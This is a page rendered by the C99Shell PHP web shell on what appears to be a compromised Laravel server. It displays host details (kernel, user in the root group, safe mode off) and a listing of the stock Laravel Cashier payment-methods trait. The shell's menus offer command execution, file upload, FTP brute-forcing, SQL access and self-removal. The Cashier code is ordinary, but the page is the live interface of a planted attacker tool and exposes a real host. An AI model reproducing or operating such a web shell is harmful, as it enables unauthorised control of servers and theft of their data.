!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/laravel/cashier/src/Concerns/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ManagesPaymentMethods.php (9.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Cashier\Concerns;

use 
Exception;
use 
Illuminate\Support\Collection;
use 
Laravel\Cashier\PaymentMethod;
use 
Stripe\BankAccount as StripeBankAccount;
use 
Stripe\Card as StripeCard;
use 
Stripe\PaymentMethod as StripePaymentMethod;

trait 
ManagesPaymentMethods
{
    
/**
     * Create a new SetupIntent instance.
     *
     * @param  array  $options
     * @return \Stripe\SetupIntent
     */
    
public function createSetupIntent(array $options = [])
    {
        return 
$this->stripe()->setupIntents->create($options);
    }

    
/**
     * Determines if the customer currently has a default payment method.
     *
     * @return bool
     */
    
public function hasDefaultPaymentMethod()
    {
        return (bool) 
$this->pm_type;
    }

    
/**
     * Determines if the customer currently has at least one payment method of the given type.
     *
     * @param  string  $type
     * @return bool
     */
    
public function hasPaymentMethod($type 'card')
    {
        return 
$this->paymentMethods($type)->isNotEmpty();
    }

    
/**
     * Get a collection of the customer's payment methods of the given type.
     *
     * @param  string  $type
     * @param  array  $parameters
     * @return \Illuminate\Support\Collection|\Laravel\Cashier\PaymentMethod[]
     */
    
public function paymentMethods($type 'card'$parameters = [])
    {
        if (! 
$this->hasStripeId()) {
            return new 
Collection();
        }

        
$parameters array_merge(['limit' => 24], $parameters);

        
// "type" is temporarily required by Stripe...
        
$paymentMethods $this->stripe()->paymentMethods->all(
            [
'customer' => $this->stripe_id'type' => $type] + $parameters
        
);

        return 
Collection::make($paymentMethods->data)->map(function ($paymentMethod) {
            return new 
PaymentMethod($this$paymentMethod);
        });
    }

    
/**
     * Add a payment method to the customer.
     *
     * @param  \Stripe\PaymentMethod|string  $paymentMethod
     * @return \Laravel\Cashier\PaymentMethod
     */
    
public function addPaymentMethod($paymentMethod)
    {
        
$this->assertCustomerExists();

        
$stripePaymentMethod $this->resolveStripePaymentMethod($paymentMethod);

        if (
$stripePaymentMethod->customer !== $this->stripe_id) {
            
$stripePaymentMethod $stripePaymentMethod->attach(
                [
'customer' => $this->stripe_id]
            );
        }

        return new 
PaymentMethod($this$stripePaymentMethod);
    }

    
/**
     * Delete a payment method from the customer.
     *
     * @param  \Stripe\PaymentMethod|string  $paymentMethod
     * @return void
     */
    
public function deletePaymentMethod($paymentMethod)
    {
        
$this->assertCustomerExists();

        
$stripePaymentMethod $this->resolveStripePaymentMethod($paymentMethod);

        if (
$stripePaymentMethod->customer !== $this->stripe_id) {
            return;
        }

        
$customer $this->asStripeCustomer();

        
$defaultPaymentMethod $customer->invoice_settings->default_payment_method;

        
$stripePaymentMethod->detach();

        
// If the payment method was the default payment method, we'll remove it manually...
        
if ($stripePaymentMethod->id === $defaultPaymentMethod) {
            
$this->forceFill([
                
'pm_type' => null,
                
'pm_last_four' => null,
            ])->
save();
        }
    }

    
/**
     * Remove a payment method from the customer.
     *
     * @param  \Stripe\PaymentMethod|string  $paymentMethod
     * @return void
     *
     * @deprecated Will be removed in a future Cashier Stripe version. Use deletePaymentMethod() instead.
     */
    
public function removePaymentMethod($paymentMethod)
    {
        return 
$this->deletePaymentMethod($paymentMethod);
    }

    
/**
     * Get the default payment method for the customer.
     *
     * @return \Laravel\Cashier\PaymentMethod|\Stripe\Card|\Stripe\BankAccount|null
     */
    
public function defaultPaymentMethod()
    {
        if (! 
$this->hasStripeId()) {
            return;
        }

        
/** @var \Stripe\Customer */
        
$customer $this->asStripeCustomer(['default_source''invoice_settings.default_payment_method']);

        if (
$customer->invoice_settings->default_payment_method) {
            return new 
PaymentMethod($this$customer->invoice_settings->default_payment_method);
        }

        
// If we can't find a payment method, try to return a legacy source...
        
return $customer->default_source;
    }

    
/**
     * Update customer's default payment method.
     *
     * @param  \Stripe\PaymentMethod|string  $paymentMethod
     * @return \Laravel\Cashier\PaymentMethod
     */
    
public function updateDefaultPaymentMethod($paymentMethod)
    {
        
$this->assertCustomerExists();

        
$customer $this->asStripeCustomer();

        
$stripePaymentMethod $this->resolveStripePaymentMethod($paymentMethod);

        
// If the customer already has the payment method as their default, we can bail out
        // of the call now. We don't need to keep adding the same payment method to this
        // model's account every single time we go through this specific process call.
        
if ($stripePaymentMethod->id === $customer->invoice_settings->default_payment_method) {
            return;
        }

        
$paymentMethod $this->addPaymentMethod($stripePaymentMethod);

        
$this->updateStripeCustomer([
            
'invoice_settings' => ['default_payment_method' => $paymentMethod->id],
        ]);

        
// Next we will get the default payment method for this user so we can update the
        // payment method details on the record in the database. This will allow us to
        // show that information on the front-end when updating the payment methods.
        
$this->fillPaymentMethodDetails($paymentMethod);

        
$this->save();

        return 
$paymentMethod;
    }

    
/**
     * Synchronises the customer's default payment method from Stripe back into the database.
     *
     * @return $this
     */
    
public function updateDefaultPaymentMethodFromStripe()
    {
        
$defaultPaymentMethod $this->defaultPaymentMethod();

        if (
$defaultPaymentMethod) {
            if (
$defaultPaymentMethod instanceof PaymentMethod) {
                
$this->fillPaymentMethodDetails(
                    
$defaultPaymentMethod->asStripePaymentMethod()
                )->
save();
            } else {
                
$this->fillSourceDetails($defaultPaymentMethod)->save();
            }
        } else {
            
$this->forceFill([
                
'pm_type' => null,
                
'pm_last_four' => null,
            ])->
save();
        }

        return 
$this;
    }

    
/**
     * Fills the model's properties with the payment method from Stripe.
     *
     * @param  \Laravel\Cashier\PaymentMethod|\Stripe\PaymentMethod|null  $paymentMethod
     * @return $this
     */
    
protected function fillPaymentMethodDetails($paymentMethod)
    {
        if (
$paymentMethod->type === 'card') {
            
$this->pm_type $paymentMethod->card->brand;
            
$this->pm_last_four $paymentMethod->card->last4;
        } else {
            
$this->pm_type $type $paymentMethod->type;
            
$this->pm_last_four optional($paymentMethod)->$type->last4;
        }

        return 
$this;
    }

    
/**
     * Fills the model's properties with the source from Stripe.
     *
     * @param  \Stripe\Card|\Stripe\BankAccount|null  $source
     * @return $this
     *
     * @deprecated Will be removed in a future Cashier update. You should use the new payment methods API instead.
     */
    
protected function fillSourceDetails($source)
    {
        if (
$source instanceof StripeCard) {
            
$this->pm_type $source->brand;
            
$this->pm_last_four $source->last4;
        } elseif (
$source instanceof StripeBankAccount) {
            
$this->pm_type 'Bank Account';
            
$this->pm_last_four $source->last4;
        }

        return 
$this;
    }

    
/**
     * Deletes the customer's payment methods of the given type.
     *
     * @param  string  $type
     * @return void
     */
    
public function deletePaymentMethods($type 'card')
    {
        
$this->paymentMethods($type)->each(function (PaymentMethod $paymentMethod) {
            
$paymentMethod->delete();
        });

        
$this->updateDefaultPaymentMethodFromStripe();
    }

    
/**
     * Find a PaymentMethod by ID.
     *
     * @param  string  $paymentMethod
     * @return \Laravel\Cashier\PaymentMethod|null
     */
    
public function findPaymentMethod($paymentMethod)
    {
        
$stripePaymentMethod null;

        try {
            
$stripePaymentMethod $this->resolveStripePaymentMethod($paymentMethod);
        } catch (
Exception $exception) {
            
//
        
}

        return 
$stripePaymentMethod ? new PaymentMethod($this$stripePaymentMethod) : null;
    }

    
/**
     * Resolve a PaymentMethod ID to a Stripe PaymentMethod object.
     *
     * @param  \Stripe\PaymentMethod|string  $paymentMethod
     * @return \Stripe\PaymentMethod
     */
    
protected function resolveStripePaymentMethod($paymentMethod)
    {
        if (
$paymentMethod instanceof StripePaymentMethod) {
            return 
$paymentMethod;
        }

        return 
$this->stripe()->paymentMethods->retrieve($paymentMethod);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--